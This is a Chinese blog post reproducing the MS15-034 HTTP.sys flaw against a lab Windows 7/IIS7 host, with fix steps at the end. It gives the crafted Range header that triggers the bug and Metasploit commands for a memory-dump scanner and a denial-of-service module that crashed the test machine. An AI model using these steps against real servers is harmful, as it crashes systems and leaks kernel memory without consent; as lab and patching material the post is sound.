HTTP.sys远程代码执行漏洞

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/liu80990/article/details/88792350

1. 漏洞描述(--会导致蓝屏谨慎使用--)

Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求，导致远程代码执行漏洞。成功利用此漏洞后，攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中，攻击者也可以远程导致操作系统蓝屏。此次受影响的系统中，Windows7、Windows8、WindowsServer 2008 R2和WindowsServer 2012所带的HTTP.sys驱动均存在一个远程代码执行漏洞，远程攻击者可以通过IIS7(或更高版本)服务将恶意的HTTP请求传递给HTTP.sys驱动，通过发送恶意的HTTP请求导致远程代码执行或操作系统蓝屏。

2. 复现环境

win7+IIS7

3. 漏洞确认

访问IIS界面，使用burpsuite抓包，发送到repeater中，在HTTP请求头中加入如下字段 ，返回416状态码

Range: bytes=18-18446744073709551615

1.png

4.漏洞利用

使用kali的metasploit

• msfconsole
• search ms15-034

2.png

验证漏洞的方法

• use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
• set rhosts 192.168.1.200
• run

3.png

利用漏洞的方法

• use auxiliary/dos/http/ms15_034_ulonglongadd
• set rhosts 192.168.1.200
• set threads 10
• run

4.png

实验电脑已经蓝屏

5.漏洞修复

方法1：微软官方网站下载ms15-034的补丁包

下载地址：https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

方法2：网上的其他方法验证
IIS-功能视图-输出缓存-操作-编辑功能设置-启用内核缓存，取消勾选。
注意：

• 在网站-default web site下的输出缓存，不是根目录下的输出缓存
• 修改后，漏洞验证仍显示存在，但漏洞利用已不再蓝屏